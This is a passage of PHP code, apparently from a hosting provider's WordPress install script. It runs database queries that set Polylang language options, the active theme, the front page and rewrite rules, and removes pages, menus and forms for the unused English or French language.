6:"locale";R:35;s:6:"is_rtl";i:0;s:3:"w3c";s:5:"fr-CA";s:8:"facebook";s:5:"fr_CA";s:8:"flag_url";s:68:"http://wp55731.wpdns.ca/wp-content/plugins/polylang/flags/quebec.png";s:4:"flag";s:550:"Français";s:8:"home_url";s:24:"http://wp55731.wpdns.ca/";s:10:"search_url";s:24:"http://wp55731.wpdns.ca/";s:4:"host";N;s:5:"mo_id";s:3:"204";s:13:"page_on_front";i:298;s:14:"page_for_posts";b:0;s:6:"filter";s:3:"raw";s:9:"flag_code";s:6:"quebec";}}'; $v = 'a:2:{i:0;a:26:{s:7:"term_id";i:6;s:4:"name";s:7:"English";s:4:"slug";s:2:"en";s:10:"term_group";i:0;s:16:"term_taxonomy_id";i:6;s:8:"taxonomy";s:8:"language";s:11:"description";s:5:"en_CA";s:6:"parent";i:0;s:5:"count";i:9;s:10:"tl_term_id";i:7;s:19:"tl_term_taxonomy_id";i:7;s:8:"tl_count";i:1;s:6:"locale";R:9;s:6:"is_rtl";i:0;s:3:"w3c";s:5:"en-CA";s:8:"facebook";s:5:"en_US";s:8:"flag_url";s:64:"/wp-content/plugins/polylang/flags/ca.png";s:4:"flag";s:906:"English";s:8:"home_url";s:32:"/en/home/";s:10:"search_url";s:27:"/en/";s:4:"host";N;s:5:"mo_id";s:3:"203";s:13:"page_on_front";i:133;s:14:"page_for_posts";b:0;s:6:"filter";s:3:"raw";s:9:"flag_code";s:2:"ca";}i:1;a:26:{s:7:"term_id";i:9;s:4:"name";s:9:"Français";s:4:"slug";s:2:"fr";s:10:"term_group";i:1;s:16:"term_taxonomy_id";i:9;s:8:"taxonomy";s:8:"language";s:11:"description";s:5:"fr_CA";s:6:"parent";i:0;s:5:"count";i:7;s:10:"tl_term_id";i:10;s:19:"tl_term_taxonomy_id";i:10;s:8:"tl_count";i:1;s:6:"locale";R:35;s:6:"is_rtl";i:0;s:3:"w3c";s:5:"fr-CA";s:8:"facebook";s:5:"fr_CA";s:8:"flag_url";s:68:"/wp-content/plugins/polylang/flags/quebec.png";s:4:"flag";s:550:"Français";s:8:"home_url";s:24:"/";s:10:"search_url";s:24:"/";s:4:"host";N;s:5:"mo_id";s:3:"204";s:13:"page_on_front";i:298;s:14:"page_for_posts";b:0;s:6:"filter";s:3:"raw";s:9:"flag_code";s:6:"quebec";}}'; $q = "update ".TABLEPREFIX."options set option_value = '".$v."' where option_name='_transient_pll_languages_list' limit 1" ; run_query($q); } // set ocean wp whc theme $q = "update ".TABLEPREFIX."options set option_value='OceanWP' where option_name='current_theme' limit 1"; run_query($q); $q = "update ".TABLEPREFIX."options set option_value='oceanwp' where option_name='template' or option_name='stylesheet'"; run_query($q); //show default wp page $q = "update ".TABLEPREFIX."options set option_value = '".($_POST['lang']=='english' ? '133' : '298' )."' where option_name='page_on_front' limit 1"; run_query($q); $q = "update ".TABLEPREFIX."options set option_value = '".($_POST['lang']=='english' ? '1' : '2' )."' where option_name='default_category' limit 1"; run_query($q); }else{ //delete ALL whc pages $q = "delete from ".TABLEPREFIX."posts where post_type='page' and ID not in (373, 375)"; run_query($q); //show default wp page $q = "update ".TABLEPREFIX."options set option_value = '".($_POST['lang']=='english' ? '373' : '375' )."' where option_name='page_on_front'"; run_query($q); //set default WP theme $q = "update ".TABLEPREFIX."options set option_value='Twenty Seventeen' where option_name='current_theme' limit 1"; run_query($q); $q = "update ".TABLEPREFIX."options set option_value='twentyseventeen' where option_name='template' or option_name='stylesheet'"; run_query($q); //delete ALL menus $q = "DELETE FROM ".TABLEPREFIX."term_relationships WHERE term_taxonomy_id in (18,5);"; run_query($q); $q = "DELETE FROM ".TABLEPREFIX."term_taxonomy WHERE term_taxonomy_id in (18,5);"; run_query($q); //$q = "update ".TABLEPREFIX."options set option_value = replace(option_value,'page_id=298','page_id=".($_POST['lang']=='english' ? '373' : '375' )."') where option_name='rewrite_rules'"; //run_query($q); if($_POST['lang']!='english'){ $rewrite="a:169:{s:11:\"^wp-json/?$\";s:22:\"index.php?rest_route=/\";s:14:\"^wp-json/(.*)?\";s:33:\"index.php?rest_route=/$matches[1]\";s:21:\"^index.php/wp-json/?$\";s:22:\"index.php?rest_route=/\";s:24:\"^index.php/wp-json/(.*)?\";s:33:\"index.php?rest_route=/$matches[1]\";s:52:\"(en)/category/(.+?)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:69:\"index.php?lang=$matches[1]&category_name=$matches[2]&feed=$matches[3]\";s:47:\"category/(.+?)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:52:\"index.php?category_name=$matches[1]&feed=$matches[2]\";s:47:\"(en)/category/(.+?)/(feed|rdf|rss|rss2|atom)/?$\";s:69:\"index.php?lang=$matches[1]&category_name=$matches[2]&feed=$matches[3]\";s:42:\"category/(.+?)/(feed|rdf|rss|rss2|atom)/?$\";s:52:\"index.php?category_name=$matches[1]&feed=$matches[2]\";s:28:\"(en)/category/(.+?)/embed/?$\";s:63:\"index.php?lang=$matches[1]&category_name=$matches[2]&embed=true\";s:23:\"category/(.+?)/embed/?$\";s:46:\"index.php?category_name=$matches[1]&embed=true\";s:40:\"(en)/category/(.+?)/page/?([0-9]{1,})/?$\";s:70:\"index.php?lang=$matches[1]&category_name=$matches[2]&paged=$matches[3]\";s:35:\"category/(.+?)/page/?([0-9]{1,})/?$\";s:53:\"index.php?category_name=$matches[1]&paged=$matches[2]\";s:22:\"(en)/category/(.+?)/?$\";s:52:\"index.php?lang=$matches[1]&category_name=$matches[2]\";s:17:\"category/(.+?)/?$\";s:35:\"index.php?category_name=$matches[1]\";s:49:\"(en)/tag/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:59:\"index.php?lang=$matches[1]&tag=$matches[2]&feed=$matches[3]\";s:44:\"tag/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:42:\"index.php?tag=$matches[1]&feed=$matches[2]\";s:44:\"(en)/tag/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:59:\"index.php?lang=$matches[1]&tag=$matches[2]&feed=$matches[3]\";s:39:\"tag/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:42:\"index.php?tag=$matches[1]&feed=$matches[2]\";s:25:\"(en)/tag/([^/]+)/embed/?$\";s:53:\"index.php?lang=$matches[1]&tag=$matches[2]&embed=true\";s:20:\"tag/([^/]+)/embed/?$\";s:36:\"index.php?tag=$matches[1]&embed=true\";s:37:\"(en)/tag/([^/]+)/page/?([0-9]{1,})/?$\";s:60:\"index.php?lang=$matches[1]&tag=$matches[2]&paged=$matches[3]\";s:32:\"tag/([^/]+)/page/?([0-9]{1,})/?$\";s:43:\"index.php?tag=$matches[1]&paged=$matches[2]\";s:19:\"(en)/tag/([^/]+)/?$\";s:42:\"index.php?lang=$matches[1]&tag=$matches[2]\";s:14:\"tag/([^/]+)/?$\";s:25:\"index.php?tag=$matches[1]\";s:50:\"(en)/type/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:67:\"index.php?lang=$matches[1]&post_format=$matches[2]&feed=$matches[3]\";s:45:\"type/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:58:\"index.php?lang=fr&post_format=$matches[1]&feed=$matches[2]\";s:45:\"(en)/type/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:67:\"index.php?lang=$matches[1]&post_format=$matches[2]&feed=$matches[3]\";s:40:\"type/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:58:\"index.php?lang=fr&post_format=$matches[1]&feed=$matches[2]\";s:26:\"(en)/type/([^/]+)/embed/?$\";s:61:\"index.php?lang=$matches[1]&post_format=$matches[2]&embed=true\";s:21:\"type/([^/]+)/embed/?$\";s:52:\"index.php?lang=fr&post_format=$matches[1]&embed=true\";s:38:\"(en)/type/([^/]+)/page/?([0-9]{1,})/?$\";s:68:\"index.php?lang=$matches[1]&post_format=$matches[2]&paged=$matches[3]\";s:33:\"type/([^/]+)/page/?([0-9]{1,})/?$\";s:59:\"index.php?lang=fr&post_format=$matches[1]&paged=$matches[2]\";s:20:\"(en)/type/([^/]+)/?$\";s:50:\"index.php?lang=$matches[1]&post_format=$matches[2]\";s:15:\"type/([^/]+)/?$\";s:41:\"index.php?lang=fr&post_format=$matches[1]\";s:12:\"robots\.txt$\";s:18:\"index.php?robots=1\";s:48:\".*wp-(atom|rdf|rss|rss2|feed|commentsrss2)\.php$\";s:18:\"index.php?feed=old\";s:20:\".*wp-app\.php(/.*)?$\";s:19:\"index.php?error=403\";s:18:\".*wp-register.php$\";s:23:\"index.php?register=true\";s:37:\"(en)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:44:\"index.php?lang=$matches[1]&&feed=$matches[2]\";s:32:\"feed/(feed|rdf|rss|rss2|atom)/?$\";s:35:\"index.php?lang=fr&&feed=$matches[1]\";s:32:\"(en)/(feed|rdf|rss|rss2|atom)/?$\";s:44:\"index.php?lang=$matches[1]&&feed=$matches[2]\";s:27:\"(feed|rdf|rss|rss2|atom)/?$\";s:35:\"index.php?lang=fr&&feed=$matches[1]\";s:13:\"(en)/embed/?$\";s:38:\"index.php?lang=$matches[1]&&embed=true\";s:8:\"embed/?$\";s:29:\"index.php?lang=fr&&embed=true\";s:25:\"(en)/page/?([0-9]{1,})/?$\";s:45:\"index.php?lang=$matches[1]&&paged=$matches[2]\";s:20:\"page/?([0-9]{1,})/?$\";s:36:\"index.php?lang=fr&&paged=$matches[1]\";s:32:\"(en)/comment-page-([0-9]{1,})/?$\";s:57:\"index.php?lang=$matches[1]&&page_id=375&cpage=$matches[2]\";s:27:\"comment-page-([0-9]{1,})/?$\";s:48:\"index.php?lang=fr&&page_id=375&cpage=$matches[1]\";s:7:\"(en)/?$\";s:26:\"index.php?lang=$matches[1]\";s:46:\"(en)/comments/feed/(feed|rdf|rss|rss2|atom)/?$\";s:59:\"index.php?lang=$matches[1]&&feed=$matches[2]&withcomments=1\";s:41:\"comments/feed/(feed|rdf|rss|rss2|atom)/?$\";s:50:\"index.php?lang=fr&&feed=$matches[1]&withcomments=1\";s:41:\"(en)/comments/(feed|rdf|rss|rss2|atom)/?$\";s:59:\"index.php?lang=$matches[1]&&feed=$matches[2]&withcomments=1\";s:36:\"comments/(feed|rdf|rss|rss2|atom)/?$\";s:50:\"index.php?lang=fr&&feed=$matches[1]&withcomments=1\";s:22:\"(en)/comments/embed/?$\";s:38:\"index.php?lang=$matches[1]&&embed=true\";s:17:\"comments/embed/?$\";s:29:\"index.php?lang=fr&&embed=true\";s:49:\"(en)/search/(.+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:57:\"index.php?lang=$matches[1]&s=$matches[2]&feed=$matches[3]\";s:44:\"search/(.+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:48:\"index.php?lang=fr&s=$matches[1]&feed=$matches[2]\";s:44:\"(en)/search/(.+)/(feed|rdf|rss|rss2|atom)/?$\";s:57:\"index.php?lang=$matches[1]&s=$matches[2]&feed=$matches[3]\";s:39:\"search/(.+)/(feed|rdf|rss|rss2|atom)/?$\";s:48:\"index.php?lang=fr&s=$matches[1]&feed=$matches[2]\";s:25:\"(en)/search/(.+)/embed/?$\";s:51:\"index.php?lang=$matches[1]&s=$matches[2]&embed=true\";s:20:\"search/(.+)/embed/?$\";s:42:\"index.php?lang=fr&s=$matches[1]&embed=true\";s:37:\"(en)/search/(.+)/page/?([0-9]{1,})/?$\";s:58:\"index.php?lang=$matches[1]&s=$matches[2]&paged=$matches[3]\";s:32:\"search/(.+)/page/?([0-9]{1,})/?$\";s:49:\"index.php?lang=fr&s=$matches[1]&paged=$matches[2]\";s:19:\"(en)/search/(.+)/?$\";s:40:\"index.php?lang=$matches[1]&s=$matches[2]\";s:14:\"search/(.+)/?$\";s:31:\"index.php?lang=fr&s=$matches[1]\";s:52:\"(en)/author/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:67:\"index.php?lang=$matches[1]&author_name=$matches[2]&feed=$matches[3]\";s:47:\"author/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:58:\"index.php?lang=fr&author_name=$matches[1]&feed=$matches[2]\";s:47:\"(en)/author/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:67:\"index.php?lang=$matches[1]&author_name=$matches[2]&feed=$matches[3]\";s:42:\"author/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:58:\"index.php?lang=fr&author_name=$matches[1]&feed=$matches[2]\";s:28:\"(en)/author/([^/]+)/embed/?$\";s:61:\"index.php?lang=$matches[1]&author_name=$matches[2]&embed=true\";s:23:\"author/([^/]+)/embed/?$\";s:52:\"index.php?lang=fr&author_name=$matches[1]&embed=true\";s:40:\"(en)/author/([^/]+)/page/?([0-9]{1,})/?$\";s:68:\"index.php?lang=$matches[1]&author_name=$matches[2]&paged=$matches[3]\";s:35:\"author/([^/]+)/page/?([0-9]{1,})/?$\";s:59:\"index.php?lang=fr&author_name=$matches[1]&paged=$matches[2]\";s:22:\"(en)/author/([^/]+)/?$\";s:50:\"index.php?lang=$matches[1]&author_name=$matches[2]\";s:17:\"author/([^/]+)/?$\";s:41:\"index.php?lang=fr&author_name=$matches[1]\";s:74:\"(en)/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/feed/(feed|rdf|rss|rss2|atom)/?$\";s:97:\"index.php?lang=$matches[1]&year=$matches[2]&monthnum=$matches[3]&day=$matches[4]&feed=$matches[5]\";s:69:\"([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/feed/(feed|rdf|rss|rss2|atom)/?$\";s:88:\"index.php?lang=fr&year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&feed=$matches[4]\";s:69:\"(en)/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/(feed|rdf|rss|rss2|atom)/?$\";s:97:\"index.php?lang=$matches[1]&year=$matches[2]&monthnum=$matches[3]&day=$matches[4]&feed=$matches[5]\";s:64:\"([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/(feed|rdf|rss|rss2|atom)/?$\";s:88:\"index.php?lang=fr&year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&feed=$matches[4]\";s:50:\"(en)/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/embed/?$\";s:91:\"index.php?lang=$matches[1]&year=$matches[2]&monthnum=$matches[3]&day=$matches[4]&embed=true\";s:45:\"([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/embed/?$\";s:82:\"index.php?lang=fr&year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&embed=true\";s:62:\"(en)/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/page/?([0-9]{1,})/?$\";s:98:\"index.php?lang=$matches[1]&year=$matches[2]&monthnum=$matches[3]&day=$matches[4]&paged=$matches[5]\";s:57:\"([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/page/?([0-9]{1,})/?$\";s:89:\"index.php?lang=fr&year=$matches[1]&monthnum=$matches[2]&day=$matches[3]&paged=$matches[4]\";s:44:\"(en)/([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/?$\";s:80:\"index.php?lang=$matches[1]&year=$matches[2]&monthnum=$matches[3]&day=$matches[4]\";s:39:\"([0-9]{4})/([0-9]{1,2})/([0-9]{1,2})/?$\";s:71:\"index.php?lang=fr&year=$matches[1]&monthnum=$matches[2]&day=$matches[3]\";s:61:\"(en)/([0-9]{4})/([0-9]{1,2})/feed/(feed|rdf|rss|rss2|atom)/?$\";s:81:\"index.php?lang=$matches[1]&year=$matches[2]&monthnum=$matches[3]&feed=$matches[4]\";s:56:\"([0-9]{4})/([0-9]{1,2})/feed/(feed|rdf|rss|rss2|atom)/?$\";s:72:\"index.php?lang=fr&year=$matches[1]&monthnum=$matches[2]&feed=$matches[3]\";s:56:\"(en)/([0-9]{4})/([0-9]{1,2})/(feed|rdf|rss|rss2|atom)/?$\";s:81:\"index.php?lang=$matches[1]&year=$matches[2]&monthnum=$matches[3]&feed=$matches[4]\";s:51:\"([0-9]{4})/([0-9]{1,2})/(feed|rdf|rss|rss2|atom)/?$\";s:72:\"index.php?lang=fr&year=$matches[1]&monthnum=$matches[2]&feed=$matches[3]\";s:37:\"(en)/([0-9]{4})/([0-9]{1,2})/embed/?$\";s:75:\"index.php?lang=$matches[1]&year=$matches[2]&monthnum=$matches[3]&embed=true\";s:32:\"([0-9]{4})/([0-9]{1,2})/embed/?$\";s:66:\"index.php?lang=fr&year=$matches[1]&monthnum=$matches[2]&embed=true\";s:49:\"(en)/([0-9]{4})/([0-9]{1,2})/page/?([0-9]{1,})/?$\";s:82:\"index.php?lang=$matches[1]&year=$matches[2]&monthnum=$matches[3]&paged=$matches[4]\";s:44:\"([0-9]{4})/([0-9]{1,2})/page/?([0-9]{1,})/?$\";s:73:\"index.php?lang=fr&year=$matches[1]&monthnum=$matches[2]&paged=$matches[3]\";s:31:\"(en)/([0-9]{4})/([0-9]{1,2})/?$\";s:64:\"index.php?lang=$matches[1]&year=$matches[2]&monthnum=$matches[3]\";s:26:\"([0-9]{4})/([0-9]{1,2})/?$\";s:55:\"index.php?lang=fr&year=$matches[1]&monthnum=$matches[2]\";s:48:\"(en)/([0-9]{4})/feed/(feed|rdf|rss|rss2|atom)/?$\";s:60:\"index.php?lang=$matches[1]&year=$matches[2]&feed=$matches[3]\";s:43:\"([0-9]{4})/feed/(feed|rdf|rss|rss2|atom)/?$\";s:51:\"index.php?lang=fr&year=$matches[1]&feed=$matches[2]\";s:43:\"(en)/([0-9]{4})/(feed|rdf|rss|rss2|atom)/?$\";s:60:\"index.php?lang=$matches[1]&year=$matches[2]&feed=$matches[3]\";s:38:\"([0-9]{4})/(feed|rdf|rss|rss2|atom)/?$\";s:51:\"index.php?lang=fr&year=$matches[1]&feed=$matches[2]\";s:24:\"(en)/([0-9]{4})/embed/?$\";s:54:\"index.php?lang=$matches[1]&year=$matches[2]&embed=true\";s:19:\"([0-9]{4})/embed/?$\";s:45:\"index.php?lang=fr&year=$matches[1]&embed=true\";s:36:\"(en)/([0-9]{4})/page/?([0-9]{1,})/?$\";s:61:\"index.php?lang=$matches[1]&year=$matches[2]&paged=$matches[3]\";s:31:\"([0-9]{4})/page/?([0-9]{1,})/?$\";s:52:\"index.php?lang=fr&year=$matches[1]&paged=$matches[2]\";s:18:\"(en)/([0-9]{4})/?$\";s:43:\"index.php?lang=$matches[1]&year=$matches[2]\";s:13:\"([0-9]{4})/?$\";s:34:\"index.php?lang=fr&year=$matches[1]\";s:32:\"(en)/.?.+?/attachment/([^/]+)/?$\";s:49:\"index.php?lang=$matches[1]&attachment=$matches[2]\";s:27:\".?.+?/attachment/([^/]+)/?$\";s:32:\"index.php?attachment=$matches[1]\";s:42:\"(en)/.?.+?/attachment/([^/]+)/trackback/?$\";s:54:\"index.php?lang=$matches[1]&attachment=$matches[2]&tb=1\";s:37:\".?.+?/attachment/([^/]+)/trackback/?$\";s:37:\"index.php?attachment=$matches[1]&tb=1\";s:62:\"(en)/.?.+?/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:66:\"index.php?lang=$matches[1]&attachment=$matches[2]&feed=$matches[3]\";s:57:\".?.+?/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:57:\"(en)/.?.+?/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:66:\"index.php?lang=$matches[1]&attachment=$matches[2]&feed=$matches[3]\";s:52:\".?.+?/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:57:\"(en)/.?.+?/attachment/([^/]+)/comment-page-([0-9]{1,})/?$\";s:67:\"index.php?lang=$matches[1]&attachment=$matches[2]&cpage=$matches[3]\";s:52:\".?.+?/attachment/([^/]+)/comment-page-([0-9]{1,})/?$\";s:50:\"index.php?attachment=$matches[1]&cpage=$matches[2]\";s:38:\"(en)/.?.+?/attachment/([^/]+)/embed/?$\";s:60:\"index.php?lang=$matches[1]&attachment=$matches[2]&embed=true\";s:33:\".?.+?/attachment/([^/]+)/embed/?$\";s:43:\"index.php?attachment=$matches[1]&embed=true\";s:21:\"(en)/(.?.+?)/embed/?$\";s:58:\"index.php?lang=$matches[1]&pagename=$matches[2]&embed=true\";s:16:\"(.?.+?)/embed/?$\";s:41:\"index.php?pagename=$matches[1]&embed=true\";s:25:\"(en)/(.?.+?)/trackback/?$\";s:52:\"index.php?lang=$matches[1]&pagename=$matches[2]&tb=1\";s:20:\"(.?.+?)/trackback/?$\";s:35:\"index.php?pagename=$matches[1]&tb=1\";s:45:\"(en)/(.?.+?)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:64:\"index.php?lang=$matches[1]&pagename=$matches[2]&feed=$matches[3]\";s:40:\"(.?.+?)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:47:\"index.php?pagename=$matches[1]&feed=$matches[2]\";s:40:\"(en)/(.?.+?)/(feed|rdf|rss|rss2|atom)/?$\";s:64:\"index.php?lang=$matches[1]&pagename=$matches[2]&feed=$matches[3]\";s:35:\"(.?.+?)/(feed|rdf|rss|rss2|atom)/?$\";s:47:\"index.php?pagename=$matches[1]&feed=$matches[2]\";s:33:\"(en)/(.?.+?)/page/?([0-9]{1,})/?$\";s:65:\"index.php?lang=$matches[1]&pagename=$matches[2]&paged=$matches[3]\";s:28:\"(.?.+?)/page/?([0-9]{1,})/?$\";s:48:\"index.php?pagename=$matches[1]&paged=$matches[2]\";s:40:\"(en)/(.?.+?)/comment-page-([0-9]{1,})/?$\";s:65:\"index.php?lang=$matches[1]&pagename=$matches[2]&cpage=$matches[3]\";s:35:\"(.?.+?)/comment-page-([0-9]{1,})/?$\";s:48:\"index.php?pagename=$matches[1]&cpage=$matches[2]\";s:29:\"(en)/(.?.+?)(?:/([0-9]+))?/?$\";s:64:\"index.php?lang=$matches[1]&pagename=$matches[2]&page=$matches[3]\";s:24:\"(.?.+?)(?:/([0-9]+))?/?$\";s:47:\"index.php?pagename=$matches[1]&page=$matches[2]\";s:32:\"(en)/[^/]+/attachment/([^/]+)/?$\";s:49:\"index.php?lang=$matches[1]&attachment=$matches[2]\";s:27:\"[^/]+/attachment/([^/]+)/?$\";s:32:\"index.php?attachment=$matches[1]\";s:42:\"(en)/[^/]+/attachment/([^/]+)/trackback/?$\";s:54:\"index.php?lang=$matches[1]&attachment=$matches[2]&tb=1\";s:37:\"[^/]+/attachment/([^/]+)/trackback/?$\";s:37:\"index.php?attachment=$matches[1]&tb=1\";s:62:\"(en)/[^/]+/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:66:\"index.php?lang=$matches[1]&attachment=$matches[2]&feed=$matches[3]\";s:57:\"[^/]+/attachment/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:57:\"(en)/[^/]+/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:66:\"index.php?lang=$matches[1]&attachment=$matches[2]&feed=$matches[3]\";s:52:\"[^/]+/attachment/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:57:\"(en)/[^/]+/attachment/([^/]+)/comment-page-([0-9]{1,})/?$\";s:67:\"index.php?lang=$matches[1]&attachment=$matches[2]&cpage=$matches[3]\";s:52:\"[^/]+/attachment/([^/]+)/comment-page-([0-9]{1,})/?$\";s:50:\"index.php?attachment=$matches[1]&cpage=$matches[2]\";s:38:\"(en)/[^/]+/attachment/([^/]+)/embed/?$\";s:60:\"index.php?lang=$matches[1]&attachment=$matches[2]&embed=true\";s:33:\"[^/]+/attachment/([^/]+)/embed/?$\";s:43:\"index.php?attachment=$matches[1]&embed=true\";s:21:\"(en)/([^/]+)/embed/?$\";s:54:\"index.php?lang=$matches[1]&name=$matches[2]&embed=true\";s:16:\"([^/]+)/embed/?$\";s:37:\"index.php?name=$matches[1]&embed=true\";s:25:\"(en)/([^/]+)/trackback/?$\";s:48:\"index.php?lang=$matches[1]&name=$matches[2]&tb=1\";s:20:\"([^/]+)/trackback/?$\";s:31:\"index.php?name=$matches[1]&tb=1\";s:45:\"(en)/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:60:\"index.php?lang=$matches[1]&name=$matches[2]&feed=$matches[3]\";s:40:\"([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:43:\"index.php?name=$matches[1]&feed=$matches[2]\";s:40:\"(en)/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:60:\"index.php?lang=$matches[1]&name=$matches[2]&feed=$matches[3]\";s:35:\"([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:43:\"index.php?name=$matches[1]&feed=$matches[2]\";s:33:\"(en)/([^/]+)/page/?([0-9]{1,})/?$\";s:61:\"index.php?lang=$matches[1]&name=$matches[2]&paged=$matches[3]\";s:28:\"([^/]+)/page/?([0-9]{1,})/?$\";s:44:\"index.php?name=$matches[1]&paged=$matches[2]\";s:40:\"(en)/([^/]+)/comment-page-([0-9]{1,})/?$\";s:61:\"index.php?lang=$matches[1]&name=$matches[2]&cpage=$matches[3]\";s:35:\"([^/]+)/comment-page-([0-9]{1,})/?$\";s:44:\"index.php?name=$matches[1]&cpage=$matches[2]\";s:29:\"(en)/([^/]+)(?:/([0-9]+))?/?$\";s:60:\"index.php?lang=$matches[1]&name=$matches[2]&page=$matches[3]\";s:24:\"([^/]+)(?:/([0-9]+))?/?$\";s:43:\"index.php?name=$matches[1]&page=$matches[2]\";s:21:\"(en)/[^/]+/([^/]+)/?$\";s:49:\"index.php?lang=$matches[1]&attachment=$matches[2]\";s:16:\"[^/]+/([^/]+)/?$\";s:32:\"index.php?attachment=$matches[1]\";s:31:\"(en)/[^/]+/([^/]+)/trackback/?$\";s:54:\"index.php?lang=$matches[1]&attachment=$matches[2]&tb=1\";s:26:\"[^/]+/([^/]+)/trackback/?$\";s:37:\"index.php?attachment=$matches[1]&tb=1\";s:51:\"(en)/[^/]+/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:66:\"index.php?lang=$matches[1]&attachment=$matches[2]&feed=$matches[3]\";s:46:\"[^/]+/([^/]+)/feed/(feed|rdf|rss|rss2|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:46:\"(en)/[^/]+/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:66:\"index.php?lang=$matches[1]&attachment=$matches[2]&feed=$matches[3]\";s:41:\"[^/]+/([^/]+)/(feed|rdf|rss|rss2|atom)/?$\";s:49:\"index.php?attachment=$matches[1]&feed=$matches[2]\";s:46:\"(en)/[^/]+/([^/]+)/comment-page-([0-9]{1,})/?$\";s:67:\"index.php?lang=$matches[1]&attachment=$matches[2]&cpage=$matches[3]\";s:41:\"[^/]+/([^/]+)/comment-page-([0-9]{1,})/?$\";s:50:\"index.php?attachment=$matches[1]&cpage=$matches[2]\";s:27:\"(en)/[^/]+/([^/]+)/embed/?$\";s:60:\"index.php?lang=$matches[1]&attachment=$matches[2]&embed=true\";s:22:\"[^/]+/([^/]+)/embed/?$\";s:43:\"index.php?attachment=$matches[1]&embed=true\";}"; $q = "update ".TABLEPREFIX."options set option_value = '".$rewrite."' where option_name='rewrite_rules' limit 1"; run_query($q); } } }else{ //delete other language pages $q = "select * from ".TABLEPREFIX."term_taxonomy where taxonomy = 'post_translations' "; $rows = run_query($q); $pages_to_delete = array(); foreach($rows as $row){ $temp = unserialize($row['description']); if($temp[($_POST['lang']=='english' ? 'fr' : 'en')]) $pages_to_delete[] = $temp[($_POST['lang']=='english' ? 'fr' : 'en')]; } //print_r($pages_to_delete); //delete other lang non-whc page $q = "delete from ".TABLEPREFIX."posts where post_type='page' and ID in (".implode($pages_to_delete, ',').")"; run_query($q); //set wp default lang $q = "update ".TABLEPREFIX."options set option_value = '".($_POST['lang']=='english' ? 'en_CA' : 'fr_CA' )."' where option_name='WPLANG' limit 1"; run_query($q); //delete other lang non-whc page $q = "delete from ".TABLEPREFIX."posts where post_type='page' and ID = '".($_POST['lang']=='english' ? '375' : '373' )."' limit 1"; run_query($q); //delete other lang forminator page $q = "delete from ".TABLEPREFIX."posts where post_type='forminator_forms' and ID = '".($_POST['lang']=='english' ? '439' : '438' )."' limit 1"; run_query($q); //mail('david@whc.ca','wp hosting.',json_encode($_POST).$q); $q = "delete from ".TABLEPREFIX."postmeta where meta_key='forminator_form_meta' and post_id = '".($_POST['lang']=='english' ? '439' : '438' )."' limit 1"; run_query($q); if($_POST['has_whc_pages']){ // confirm correct theme $q = "update ".TABLEPREFIX."options set option_value='OceanWP' where option_name='current_theme' limit 1"; run_query($q); //set default WP theme $q = "update ".TABLEPREFIX."options set option_value='oceanwp' where option_name='template' or option_name='stylesheet'"; run_query($q); //delete ALL non-whc pages $q = "delete from ".TABLEPREFIX."posts where post_type='page' and ID in (373, 375)"; run_query($q); //set default wp page $q = "update ".TABLEPREFIX."options set option_value = '".($_POST['lang']=='english' ? '133' : '298' )."' where option_name='page_on_front' limit 1"; run_query($q); $q = "update ".TABLEPREFIX."options set option_value = replace(option_value,'page_id=298','page_id=".($_POST['lang']=='english' ? '133' : '298' )."') where option_name='rewrite_rules'"; run_query($q); //set main menu lang for unilang $q = "select * from ".TABLEPREFIX."options where option_name='theme_mods_oceanwp' limit 1; "; $rows = run_query($q); $menuobj = unserialize($rows[0]['option_value']); //print_r($menuobj); if($rows[0]['option_value']){ $menuobj['nav_menu_locations']['main_menu'] = $_POST['lang']=='english' ? '5' : '18'; $q = "update 